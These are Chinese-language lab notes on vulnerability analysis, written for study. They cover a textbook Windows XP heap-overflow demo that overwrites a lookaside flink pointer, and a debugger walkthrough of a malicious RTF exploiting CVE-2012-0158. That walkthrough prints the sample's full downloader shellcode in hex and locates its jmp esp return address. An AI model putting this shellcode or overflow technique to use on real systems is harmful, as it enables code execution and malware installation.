0x01 堆溢出
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | - | |
编译器 | - | |
二进制编辑器 | - |
较为简单,云一下。详细堆溢出实验可以去参考0day安全的堆实验。
云实验过程
/*-----------------------------------------------------------------------
第14章 漏洞分析技术
《加密与解密(第四版)》
(c) 看雪学院 www.kanxue.com 2000-2018
-----------------------------------------------------------------------*/
// heap.cpp : Defines the entry point for the console application.
//实验环境:
//windows xp sp3 + VC6.0
//编译选项:Debug(默认配置)
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
char str[]="\nHello123456789213456789\n";
char *a,*b,*c;
long *hHeap;
hHeap = (long *)HeapCreate(0x00040000,0,0);
printf("\n(+) Creating a heap at: 0x00%xh\n",hHeap);
printf("(+) Allocating chunk A\n");
a = (char *)HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk B\n");
b = (char *)HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+) Chunk B=0x00%x\n",a,b);
printf("(+) Freeing chunk B to the lookaside\n");
HeapFree(hHeap,0,b);
printf("(+) Now overflow chunk A:\n");
printf("%x\n",str);
printf(str);
memcpy(a,"XXXXXXXXXXXXXXXXAAAABBBB\x64\xff\x12\x00",28);
// set software bp
//__asm__("int $0x3");
printf("(+) Allocating chunk B\n");
b = (char *)HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Allocating chunk C\n");
c = (char *)HeapAlloc(hHeap,HEAP_ZERO_MEMORY,0x10);
printf("(+) Chunk A=0x00%x\n(+)Chunk B=0x00%x\n(+) Chunk C=0x00%x\n",a,b,c);
strcpy(c,"AAAAAAAAAAAA\n");
printf(str);
// set software bp
//_asm int 0x3;
return 0;
}
32位系统,heap headers 8字节,前后指针分别4字节,一共16字节。首先有16个X,填充A堆的data区,随后8字节填充B的headers。4字节地址覆盖了向前指针,随后释放了B,堆B被设置为空闲态,放入到了快表中,最后申请B,0x0012ff64也会被放到Looaside[3]中,然后分配给堆C的地址就是0x0012ff64。(这里为什么0x0012ff64也会被放到Looaside[3]中,猜测是由于B堆被释放放进了快表,而其flink指向了下一个24字节空闲堆块地址,所以B堆申请后,C堆通过快表申请就是该地址。)
win10似乎以及放弃了快表机制,该实验做不了。
0x02 CVE-2012-0158
实验环境
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP2 | |
编译器 | - | |
Word版本 | Microsoft Office 2007 |
静态分析
样本信息
获取样本时,从来源得到的一些基础信息。
查杀测试
分析人员可以自行搭建查杀测试环境,也可以通过访问VirSCAN等网站提交样本进行测试。笔者使用Virustotal分析样本,结果如下。
此样本为Microsoft Word的Exp;样本格式为RTF;漏洞编号为CVE-2012-0158。
搜索引擎
搜索漏洞编号得到信息。
The (1) ListView, (2) ListView2, (3) TreeView, and (4) TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common Controls in Microsoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3; SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4, 2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0 Runtime allow remote attackers to execute arbitrary code via a crafted (a) web site, (b) Office document, or (c) .rtf file that triggers "system state" corruption, as exploited in the wild in April 2012, aka "MSCOMCTL.OCX RCE Vulnerability."
二进制分析
notepad++打开样本文件
此文件中嵌入了几个对象。第四行开始嵌入了第一个对象,往下查看第二个对象如下图。
第二个对象有一些异常数据。
异常1:文本未对齐,一般情况下,RTF是由办公软件直接生成的,用户不需要对RTF文件进行二进制编辑。Object字符数据都是按照一定的字符数量对其的,而这里未对齐。
异常2:无效字符。在RTF格式中,{ } \等符号都有特殊的定义,但是这里看到了空括号,和不带任何字母序列的斜杠。
异常3:乱码。乱码代表不可见字符,这是在RTF文档中很少见到的情况。
综合以上3个疑点,可以将第二个对象作为样本分析的重点。
动态调试
分析环境Windows XP SP2 + Microsoft Office 2007
运行测试
运行测试是指样本放入测试环境直接运行并查看运行效果。搭配FileMon等监视软件,可以直观地得到漏洞样本的攻击目的,进而直接确定Shellcode的功能。但是,这种测试也有风险,测试机极有可能感染漏洞样本中附带的木马。尽管漏洞分析人员可以很容易地找出漏洞样本对计算机的所有操作,但是如果样本中捆绑了木马,就可能超出了漏洞分析人员的预期。所以,不要在实体机上运行漏洞样本,虚拟机才是最好的选择。
在测试环境中打开样本文件,Word无响应,但是没有弹出任何错误提示。在进程管理器查看,发现winword.exe进程的CPU使用率为99%,这说明进程陷入了死循环。对样本测试来说,这是一种比较好的情况,说明漏洞触发成功,而且很有可能已经执行到了shellcode处,只是shellcode运行中出现了问题才导致进程无响应。
动态调试
运行OD,附加winword.exe调试。
回溯一下调用栈
显然不正常,从栈中执行代码。可以看到此函数从某个URL下载文件到C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\services.exe,并随后检查是否下载成功。该代码可能是shellcode 的一部分。
提取shellcode如下。可以使用shellcode加载器单独加载并运行从而分析他的功能。
E8 00 00 00 00 5F 83 C7 FB 83 EC 20 89 E6 B9 4C 77 26 07 E8 DC 00 00 00 89 06 68 6C 6C 00 00 68
6F 6E 2E 64 68 75 72 6C 6D 8D 04 24 50 FF 16 83 C4 0C 68 64 6C 6C 00 68 61 70 69 2E 68 73 68 6C
77 8D 04 24 50 FF 16 83 C4 0C B9 86 8C 76 C1 E8 A0 00 00 00 89 46 04 B9 88 20 FC 31 E8 93 00 00
00 89 46 08 B9 31 8B 6F 87 E8 86 00 00 00 89 46 0C B9 93 CE 01 5E E8 79 00 00 00 89 46 10 B9 F0
B5 A2 56 E8 6C 00 00 00 89 46 14 B9 A0 53 98 36 E8 5F 00 00 00 89 46 18 81 EC 00 01 00 00 8D 8F
CC 01 00 00 8D 04 24 89 C3 8D 8F CC 01 00 00 68 04 01 00 00 50 51 FF 56 04 8D 8F F9 01 00 00 31
C0 8D 8F F9 01 00 00 50 50 53 51 50 FF 56 08 53 FF 56 18 83 F8 00 74 EF 6A 02 53 FF 56 10 8D 8F
DF 01 00 00 31 DB 89 CB 6A 00 53 FF 56 0C 31 C0 50 FF 56 14 83 EC 10 64 A1 30 00 00 00 53 55 56
8B 40 0C 57 89 4C 24 18 8B 70 0C E9 8A 00 00 00 8B 46 30 31 C9 8B 5E 2C 8B 36 89 44 24 14 8B 42
3C 8B 6C 10 78 89 6C 24 10 85 ED 74 6D C1 EB 10 31 FF 85 DB 74 1F 8B 6C 24 14 8A 04 2F C1 C9 0D
3C 61 0F BE C0 7C 03 83 C1 E0 01 C1 47 39 DF 72 E9 8B 6C 24 10 8B 44 2A 20 31 DB 8B 7C 2A 18 01
D0 89 7C 24 14 85 FF 74 31 8B 28 31 FF 01 D5 83 C0 04 89 44 24 1C 0F BE 45 00 C1 CF 0D 01 C7 45
80 7D FF 00 75 F0 8D 04 0F 3B 44 24 18 74 20 8B 44 24 1C 43 3B 5C 24 14 72 CF 8B 56 18 85 D2 0F
85 6B FF FF FF 31 C0 5F 5E 5D 5B 83 C4 10 C3
回到样本数据,尝试在样本数据中定位shellcocde。在这里要注意,基于RTF格式规则,嵌入的Object对象其实是以字符串化的十六进制数保存的。因此,shellcode是字符串化的。
修改样本使其在shellcode开头中断。
重新加载文档,会有如下两种情况。
- 第一种情况:和第一次打开一样,winword.exe进入死循环。出现这种情况的原因是前面定位的地方很有可能不是在这个环境下触发的shellcode所在的位置。这时可以返回样本,查找是否有第二处shellcode,修改中断,继续测试。
- 第二种情况:OD接收到了中断异常。这说明在样本中找到的shellcode所在的位置是正确的。
该样本中,我们找到的shellcode是正确的。
由于eip在栈中,所以断定该样本是一个栈溢出漏洞样本。
根据栈溢出漏洞利用的只是,可以猜想是否通过jmp esp实现漏洞利用。如果是这样,shellcode前四个字节应该是jmp esp的指令地址。实际不是而是0x90909090,说明可能不是通过jmp esp来实现漏洞利用的。
在这里我们忽略了一点:如果定位的是这种利用方式下的真正的shellcode的起始地址,那么eip应该等于esp。然而现在不相等,说明前面定位的地方不是真正的shellcode开头,因此我们需要查看esp的值。然而esp前四字节仍然不是jmp esp的指令地址。
jmp esp指令的16禁止是FF E4在样本数据中查找该字符串,样本中的数据可能被换行符分割,在查找的时候要注意这个问题。
修改该指令为CC CC发现中断处并不是我们修改的指令,这可能是因为在调试器运行过程中这块内存被重新覆盖了。所以,我们只能通过样本数据来静态分析这段数据。
esp增加了0x11c。在文件中查找该位置。
首先在文件定位这段内容。
随后计算11Ch*2的有效字节。最后结果为8D04h。修改一下代码。
果然esp=eip,此处即为shellcode开头。
随后查看前四个字节,由于内存被覆盖只能看文件,文件为303C5827,由于内存中地址是小端序,所以返回地址应该是0x27583C30,查看该处指令。
果然是jmp esp,所以此处为开始,随后更改此处地址为任意不可读触发异常,便可从0调试shellcode。
追根溯源
通过动态调试,针对样本本身的分析工作已经完成了,我们定位了样本的shellcode,理解了shellcode的功能。漏洞分析人员需要进一步的分析漏洞的成因,并准确的定位漏洞样本的特征码。
通常情况下,回溯漏洞成因的方法是利用OD对漏洞样本进行动态调试分析,采用前面的方法回到jmp esp指令之前的现场。然后,在栈中寻找信息,最直接的方法就是看栈中第一个有效的返回地址,这个返回地址可能是离漏洞最近的一个函数调用,接着,在这个地址下执行断电,在OD中加载winword.exe。重新启动word,再打开漏洞样本就会在调用处中断。分析的重点是数据的赋值操作,主要是复制长度和对应的内容,根据它们来定位漏洞的出发位置。
在这个样本中,栈被覆盖得过长,很难通过栈回溯进行上述溯源分析。我们可以在内存中设置写入断点分析,这里用windbg更方便。
windbg打开winword,打开样本文件。
esp处的值为0x0ceb4142
停在了0x275c87cb处
打执行断点ba e1 275c87cb。f5三次到达触发点,此时ecx=0x3c0,edi=0x001abf0,esp=0x11abb4。
kb指令查看栈回溯。
其中0x11abc4处包含返回地址,执行返回操作后返回地址恰好别覆盖为了0x8888888,即发生了栈溢出,所以MSCOMCTL!DllGetClassObject+0x41a29就是导致溢出的漏洞函数。
0x0011ac08处的返回地址被覆盖成了jmp esp的地址。真正跳入shellcode的地址是0x27606eff处
漏洞产生代码如下
复制地址为[ebp-8],复制数据长度为[ebp-0Ch]*4,即0x3c0*4。
文章评论